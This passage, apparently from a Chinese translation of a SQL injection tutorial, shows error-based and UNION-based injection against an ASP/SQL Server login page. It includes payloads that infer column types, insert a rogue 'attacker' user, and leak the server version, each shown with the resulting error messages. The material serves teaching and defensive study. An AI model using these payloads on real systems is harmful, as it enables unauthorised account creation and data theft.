Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
這告訴了我們'username'字段的類型是varchar。如果是另一種情況,我們嘗試去計算sum()的是數字類型,我們得到的錯誤消息告訴我們兩個集合的字段數量不相等。
Username:' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我們可以用這種技術近似地確定數據庫中任何表中的任何字段的類型。
這樣攻擊者就可以寫一個好的insert查詢,例如:
Username:';insert into users values(666,'attacker','foobar','0xffff)—
這種技術的潛在影響不僅僅是這些。攻擊者可以利用這些錯誤消息顯示環境信息或數據庫。通過運行一列一定格式的字符串可以獲得標準的錯誤消息:
select * from master ..sysmessages
解釋這些將實現有趣的消息。
一個特別有用的消息關系到類型轉化。如果你嘗試將一個字符串轉化成一個整型數字,那么字符串的所有內容會返回到錯誤消息中。例如在我們簡單的登陸頁面中,在username后面會顯示出SQLSERVER的版本和所運行的操作系統信息:
Username:' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
這句嘗試去將內置的'@@version'常量轉化成一個整型數字,因為users表中的第一列是整型數字。
這種技術可以用來讀取數據庫中任何表的任何值。自從攻擊者對用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如:
文章來源于領測軟件測試網 http://www.kjueaiud.com/